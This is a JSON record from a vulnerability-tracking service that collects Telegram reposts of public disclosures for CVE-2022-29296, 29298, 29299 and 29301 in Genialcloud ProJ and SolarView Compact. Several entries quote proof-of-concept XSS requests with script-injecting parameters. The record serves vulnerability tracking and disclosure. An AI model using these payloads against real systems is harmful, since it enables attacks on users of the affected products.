{"vulnerability": "cve-2022-2929", "sightings": [{"uuid": "cde07a53-1fd9-4ec7-9255-8045160e809f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-29296", "type": "seen", "source": "https://t.me/cibsecurity/43903", "content": "\u203c CVE-2022-29296 \u203c\n\nA reflected cross-site scripting (XSS) vulnerability in the login portal of Avantune Genialcloud ProJ - 10 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-06-07T02:42:42.000000Z"}, {"uuid": "f67c5ff5-a41e-4d88-9fe7-08a3c5024897", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-29298", "type": "seen", "source": "https://t.me/cibsecurity/42516", "content": "\u203c CVE-2022-29298 \u203c\n\nSolarView Compact ver.6.00 allows attackers to access sensitive files via directory traversal.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-05-12T20:42:01.000000Z"}, {"uuid": "f3ead141-bcd5-4a3b-a0c8-09faa64f3bf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-29296", "type": "seen", "source": "https://t.me/hacking_Attack/55797", "content": "Exploit Collector\nAvantune Genialcloud ProJ 10 Cross Site Scripting\n\nhttps://4.bp.blogspot.com/-VWb4EvQ6bEo/WWlvWDArLMI/AAAAAAAAIOE/2pUCVP0uaRIPq11CtWtknt0n-yL_qFw9wCLcBGAs/s1600/h48.png \nAvantune Genialcloud ProJ version 10 suffers from a cross site scripting vulnerability.\n\nSHA-256 | 7a0d3b9dfd4b8e8ad8e6da668090859f7b1f76c4079023524c8bc929d6e1982f\n\nDownload\n# Exploit Title: Avantune Genialcloud ProJ 10 - Reflected XSS (Cross-Site Scripting)\n# Date: 2022-06-01\n# Exploit Author: Andrea Intilangelo\n# Vendor Homepage: https://www.avantune.com\n# Software Link: https://www.genialcloud.com - https://www.genialcloud.com/discover-genialcloud-proj - https://store.genialcloud.com\n# Version: 10\n# Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 100.0, Microsoft Edge 101.0.1210.39)\n# CVE: CVE-2022-29296\nReflected Cross-Site Scripting (XSS) vulnerability in login-portal webpage of Genialcloud ProJ (and potentially in other platforms from the\nsame software house \"Avantune\" since codebase seems shared with their other products: Facsys and Analysis) allows remote attacker to inject\nand execute arbitrary web scripts or HTML via a crafted payload.\n\nRequest parameters affected is \"msg\".\n\nPoC Request:\nGET /eportal/?nologon=1&msg=Invalid%20username%20or%20password%27%3Balert%28%22y0%21+XSS+here+%3A%29%22%29%2F%2F HTTP/1.1\nHost: [REDACTED]\nCookie: ASP.NET_SessionId=3recnmmlpo1glzzyejdoezk2\nUpgrade-Insecure-Requests: 1\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en-US,en-GB;q=0.9,en;q=0.8\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36\nConnection: close\nCache-Control: max-age=0\n\nPoC Response:\nHTTP/1.1 200 OK\nCache-Control: private\nContent-Type: text/html; charset=utf-8\nServer: Microsoft-IIS/10.0\nX-AspNet-Version: 4.0.30319\nX-Powered-By: ASP.NET\nDate: Wed, 11 May 2022 10:51:10 GMT\nConnection: close\nContent-Length: 8162\n...[SNIP]...\n\n...[SNIP]...\nTimeline:\n\n2022-01-05: Vulnerability discovered.\n2022-01-06: Vendor contacted.\n2022-02-07: No reply, vendor contacted for 2nd time.\n2022-02-10: Request for CVE reservation.\n2022-04-16: Assigned CVE number CVE-2022-29296.\n2022-05-07: No reply, vendor contacted for 3rd time.\n2022-06-01: Public disclosure.\nPoC Screenshots:\n\nhttps://imagebin.ca/v/6j86ekMqKZD8\nhttps://postimg.cc/XXv6YbK9\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:37.494697Z"}, {"uuid": "530dcbba-fe8c-4d8a-8efb-451c66184568", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-29299", "type": "seen", "source": "https://t.me/hacking_Attack/58083", "content": "Exploit Collector\nSolarView Compact 6.00 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png \nSolarView Compact version 6.00 suffers from multiple cross site scripting vulnerabilities.\n\nSHA-256 | 25d560f3ffdb43d77020e39409d019b6357d829359c682ee2a18df30976b41c7\n\nDownload\n# Exploit Title: SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting (XSS)\n# Date: 2022-05-15\n# Exploit Author: Ahmed Alroky\n# Author Company : AIactive\n# Version: ver.6.00\n# Vendor home page : https://www.contec.com/\n# Authentication Required: No\n# CVE : CVE-2022-29299\n# Tested on: Windows\n\n# Proof Of Concept:\n\nhttp://IP_ADDRESS/Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(9)%3C/script%3E%3C%22&time_end=&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6\n# Exploit Title: SolarView Compact 6.00 - 'pow' Cross-Site Scripting (XSS)\n# Date: 2022-05-15\n# Exploit Author: Ahmed Alroky\n# Author Company : AIactive\n# Version: ver.6.00\n# Vendor home page : https://www.contec.com/\n# Authentication Required: No\n# CVE : CVE-2022-29301\n# Tested on: Windows\n\n# Proof Of Concept:\nhttp://IP_ADDRESS/Solar_SlideSub.php?id=4&play=1&pow=sds%22%3E%3Cscript%3Ealert(9)%3C/script%3E%3C%22&bgcolor=green\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:35.775315Z"}, {"uuid": "b0f0ac45-66fd-41f3-b318-09ad938f5b8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-29299", "type": "seen", "source": "https://t.me/hacking_Attack/58083", "content": "Exploit Collector\nSolarView Compact 6.00 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png \nSolarView Compact version 6.00 suffers from multiple cross site scripting vulnerabilities.\n\nSHA-256 | 25d560f3ffdb43d77020e39409d019b6357d829359c682ee2a18df30976b41c7\n\nDownload\n# Exploit Title: SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting (XSS)\n# Date: 2022-05-15\n# Exploit Author: Ahmed Alroky\n# Author Company : AIactive\n# Version: ver.6.00\n# Vendor home page : https://www.contec.com/\n# Authentication Required: No\n# CVE : CVE-2022-29299\n# Tested on: Windows\n\n# Proof Of Concept:\n\nhttp://IP_ADDRESS/Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(9)%3C/script%3E%3C%22&time_end=&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6\n# Exploit Title: SolarView Compact 6.00 - 'pow' Cross-Site Scripting (XSS)\n# Date: 2022-05-15\n# Exploit Author: Ahmed Alroky\n# Author Company : AIactive\n# Version: ver.6.00\n# Vendor home page : https://www.contec.com/\n# Authentication Required: No\n# CVE : CVE-2022-29301\n# Tested on: Windows\n\n# Proof Of Concept:\nhttp://IP_ADDRESS/Solar_SlideSub.php?id=4&play=1&pow=sds%22%3E%3Cscript%3Ealert(9)%3C/script%3E%3C%22&bgcolor=green\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:45.572258Z"}, {"uuid": "22f84388-967e-470e-9f3f-db0b78c612fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-29296", "type": "seen", "source": "https://t.me/hacking_Attack/55797", "content": "Exploit Collector\nAvantune Genialcloud ProJ 10 Cross Site Scripting\n\nhttps://4.bp.blogspot.com/-VWb4EvQ6bEo/WWlvWDArLMI/AAAAAAAAIOE/2pUCVP0uaRIPq11CtWtknt0n-yL_qFw9wCLcBGAs/s1600/h48.png \nAvantune Genialcloud ProJ version 10 suffers from a cross site scripting vulnerability.\n\nSHA-256 | 7a0d3b9dfd4b8e8ad8e6da668090859f7b1f76c4079023524c8bc929d6e1982f\n\nDownload\n# Exploit Title: Avantune Genialcloud ProJ 10 - Reflected XSS (Cross-Site Scripting)\n# Date: 2022-06-01\n# Exploit Author: Andrea Intilangelo\n# Vendor Homepage: https://www.avantune.com\n# Software Link: https://www.genialcloud.com - https://www.genialcloud.com/discover-genialcloud-proj - https://store.genialcloud.com\n# Version: 10\n# Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 100.0, Microsoft Edge 101.0.1210.39)\n# CVE: CVE-2022-29296\nReflected Cross-Site Scripting (XSS) vulnerability in login-portal webpage of Genialcloud ProJ (and potentially in other platforms from the\nsame software house \"Avantune\" since codebase seems shared with their other products: Facsys and Analysis) allows remote attacker to inject\nand execute arbitrary web scripts or HTML via a crafted payload.\n\nRequest parameters affected is \"msg\".\n\nPoC Request:\nGET /eportal/?nologon=1&msg=Invalid%20username%20or%20password%27%3Balert%28%22y0%21+XSS+here+%3A%29%22%29%2F%2F HTTP/1.1\nHost: [REDACTED]\nCookie: ASP.NET_SessionId=3recnmmlpo1glzzyejdoezk2\nUpgrade-Insecure-Requests: 1\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en-US,en-GB;q=0.9,en;q=0.8\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36\nConnection: close\nCache-Control: max-age=0\n\nPoC Response:\nHTTP/1.1 200 OK\nCache-Control: private\nContent-Type: text/html; charset=utf-8\nServer: Microsoft-IIS/10.0\nX-AspNet-Version: 4.0.30319\nX-Powered-By: ASP.NET\nDate: Wed, 11 May 2022 10:51:10 GMT\nConnection: close\nContent-Length: 8162\n...[SNIP]...\n\n...[SNIP]...\nTimeline:\n\n2022-01-05: Vulnerability discovered.\n2022-01-06: Vendor contacted.\n2022-02-07: No reply, vendor contacted for 2nd time.\n2022-02-10: Request for CVE reservation.\n2022-04-16: Assigned CVE number CVE-2022-29296.\n2022-05-07: No reply, vendor contacted for 3rd time.\n2022-06-01: Public disclosure.\nPoC Screenshots:\n\nhttps://imagebin.ca/v/6j86ekMqKZD8\nhttps://postimg.cc/XXv6YbK9\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:48.004058Z"}, {"uuid": "cf732a39-7b0d-4bcb-b357-a900665c8da0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-29299", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/58083", "content": "Exploit Collector\nSolarView Compact 6.00 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png \nSolarView Compact version 6.00 suffers from multiple cross site scripting vulnerabilities.\n\nSHA-256 | 25d560f3ffdb43d77020e39409d019b6357d829359c682ee2a18df30976b41c7\n\nDownload\n# Exploit Title: SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting (XSS)\n# Date: 2022-05-15\n# Exploit Author: Ahmed Alroky\n# Author Company : AIactive\n# Version: ver.6.00\n# Vendor home page : https://www.contec.com/\n# Authentication Required: No\n# CVE : CVE-2022-29299\n# Tested on: Windows\n\n# Proof Of Concept:\n\nhttp://IP_ADDRESS/Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(9)%3C/script%3E%3C%22&time_end=&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6\n# Exploit Title: SolarView Compact 6.00 - 'pow' Cross-Site Scripting (XSS)\n# Date: 2022-05-15\n# Exploit Author: Ahmed Alroky\n# Author Company : AIactive\n# Version: ver.6.00\n# Vendor home page : https://www.contec.com/\n# Authentication Required: No\n# CVE : CVE-2022-29301\n# Tested on: Windows\n\n# Proof Of Concept:\nhttp://IP_ADDRESS/Solar_SlideSub.php?id=4&play=1&pow=sds%22%3E%3Cscript%3Ealert(9)%3C/script%3E%3C%22&bgcolor=green\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T16:00:04.384006Z"}, {"uuid": "4eff4964-d4d9-4960-89aa-af025faac6e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-29296", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/55797", "content": "Exploit Collector\nAvantune Genialcloud ProJ 10 Cross Site Scripting\n\nhttps://4.bp.blogspot.com/-VWb4EvQ6bEo/WWlvWDArLMI/AAAAAAAAIOE/2pUCVP0uaRIPq11CtWtknt0n-yL_qFw9wCLcBGAs/s1600/h48.png \nAvantune Genialcloud ProJ version 10 suffers from a cross site scripting vulnerability.\n\nSHA-256 | 7a0d3b9dfd4b8e8ad8e6da668090859f7b1f76c4079023524c8bc929d6e1982f\n\nDownload\n# Exploit Title: Avantune Genialcloud ProJ 10 - Reflected XSS (Cross-Site Scripting)\n# Date: 2022-06-01\n# Exploit Author: Andrea Intilangelo\n# Vendor Homepage: https://www.avantune.com\n# Software Link: https://www.genialcloud.com - https://www.genialcloud.com/discover-genialcloud-proj - https://store.genialcloud.com\n# Version: 10\n# Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 100.0, Microsoft Edge 101.0.1210.39)\n# CVE: CVE-2022-29296\nReflected Cross-Site Scripting (XSS) vulnerability in login-portal webpage of Genialcloud ProJ (and potentially in other platforms from the\nsame software house \"Avantune\" since codebase seems shared with their other products: Facsys and Analysis) allows remote attacker to inject\nand execute arbitrary web scripts or HTML via a crafted payload.\n\nRequest parameters affected is \"msg\".\n\nPoC Request:\nGET /eportal/?nologon=1&msg=Invalid%20username%20or%20password%27%3Balert%28%22y0%21+XSS+here+%3A%29%22%29%2F%2F HTTP/1.1\nHost: [REDACTED]\nCookie: ASP.NET_SessionId=3recnmmlpo1glzzyejdoezk2\nUpgrade-Insecure-Requests: 1\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en-US,en-GB;q=0.9,en;q=0.8\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36\nConnection: close\nCache-Control: max-age=0\n\nPoC Response:\nHTTP/1.1 200 OK\nCache-Control: private\nContent-Type: text/html; charset=utf-8\nServer: Microsoft-IIS/10.0\nX-AspNet-Version: 4.0.30319\nX-Powered-By: ASP.NET\nDate: Wed, 11 May 2022 10:51:10 GMT\nConnection: close\nContent-Length: 8162\n...[SNIP]...\n\n...[SNIP]...\nTimeline:\n\n2022-01-05: Vulnerability discovered.\n2022-01-06: Vendor contacted.\n2022-02-07: No reply, vendor contacted for 2nd time.\n2022-02-10: Request for CVE reservation.\n2022-04-16: Assigned CVE number CVE-2022-29296.\n2022-05-07: No reply, vendor contacted for 3rd time.\n2022-06-01: Public disclosure.\nPoC Screenshots:\n\nhttps://imagebin.ca/v/6j86ekMqKZD8\nhttps://postimg.cc/XXv6YbK9\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T19:00:03.581751Z"}, {"uuid": "05fe3df9-560b-4dcb-bb43-da6429428a62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-29296", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/55797", "content": "Exploit Collector\nAvantune Genialcloud ProJ 10 Cross Site Scripting\n\nhttps://4.bp.blogspot.com/-VWb4EvQ6bEo/WWlvWDArLMI/AAAAAAAAIOE/2pUCVP0uaRIPq11CtWtknt0n-yL_qFw9wCLcBGAs/s1600/h48.png \nAvantune Genialcloud ProJ version 10 suffers from a cross site scripting vulnerability.\n\nSHA-256 | 7a0d3b9dfd4b8e8ad8e6da668090859f7b1f76c4079023524c8bc929d6e1982f\n\nDownload\n# Exploit Title: Avantune Genialcloud ProJ 10 - Reflected XSS (Cross-Site Scripting)\n# Date: 2022-06-01\n# Exploit Author: Andrea Intilangelo\n# Vendor Homepage: https://www.avantune.com\n# Software Link: https://www.genialcloud.com - https://www.genialcloud.com/discover-genialcloud-proj - https://store.genialcloud.com\n# Version: 10\n# Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 100.0, Microsoft Edge 101.0.1210.39)\n# CVE: CVE-2022-29296\nReflected Cross-Site Scripting (XSS) vulnerability in login-portal webpage of Genialcloud ProJ (and potentially in other platforms from the\nsame software house \"Avantune\" since codebase seems shared with their other products: Facsys and Analysis) allows remote attacker to inject\nand execute arbitrary web scripts or HTML via a crafted payload.\n\nRequest parameters affected is \"msg\".\n\nPoC Request:\nGET /eportal/?nologon=1&msg=Invalid%20username%20or%20password%27%3Balert%28%22y0%21+XSS+here+%3A%29%22%29%2F%2F HTTP/1.1\nHost: [REDACTED]\nCookie: ASP.NET_SessionId=3recnmmlpo1glzzyejdoezk2\nUpgrade-Insecure-Requests: 1\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en-US,en-GB;q=0.9,en;q=0.8\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36\nConnection: close\nCache-Control: max-age=0\n\nPoC Response:\nHTTP/1.1 200 OK\nCache-Control: private\nContent-Type: text/html; charset=utf-8\nServer: Microsoft-IIS/10.0\nX-AspNet-Version: 4.0.30319\nX-Powered-By: ASP.NET\nDate: Wed, 11 May 2022 10:51:10 GMT\nConnection: close\nContent-Length: 8162\n...[SNIP]...\n\n...[SNIP]...\nTimeline:\n\n2022-01-05: Vulnerability discovered.\n2022-01-06: Vendor contacted.\n2022-02-07: No reply, vendor contacted for 2nd time.\n2022-02-10: Request for CVE reservation.\n2022-04-16: Assigned CVE number CVE-2022-29296.\n2022-05-07: No reply, vendor contacted for 3rd time.\n2022-06-01: Public disclosure.\nPoC Screenshots:\n\nhttps://imagebin.ca/v/6j86ekMqKZD8\nhttps://postimg.cc/XXv6YbK9\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:38.384739Z"}, {"uuid": "23ca962b-d3fb-41de-996d-0911859d64aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-29299", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/58083", "content": "Exploit Collector\nSolarView Compact 6.00 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png \nSolarView Compact version 6.00 suffers from multiple cross site scripting vulnerabilities.\n\nSHA-256 | 25d560f3ffdb43d77020e39409d019b6357d829359c682ee2a18df30976b41c7\n\nDownload\n# Exploit Title: SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting (XSS)\n# Date: 2022-05-15\n# Exploit Author: Ahmed Alroky\n# Author Company : AIactive\n# Version: ver.6.00\n# Vendor home page : https://www.contec.com/\n# Authentication Required: No\n# CVE : CVE-2022-29299\n# Tested on: Windows\n\n# Proof Of Concept:\n\nhttp://IP_ADDRESS/Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(9)%3C/script%3E%3C%22&time_end=&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6\n# Exploit Title: SolarView Compact 6.00 - 'pow' Cross-Site Scripting (XSS)\n# Date: 2022-05-15\n# Exploit Author: Ahmed Alroky\n# Author Company : AIactive\n# Version: ver.6.00\n# Vendor home page : https://www.contec.com/\n# Authentication Required: No\n# CVE : CVE-2022-29301\n# Tested on: Windows\n\n# Proof Of Concept:\nhttp://IP_ADDRESS/Solar_SlideSub.php?id=4&play=1&pow=sds%22%3E%3Cscript%3Ealert(9)%3C/script%3E%3C%22&bgcolor=green\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:42.679353Z"}]}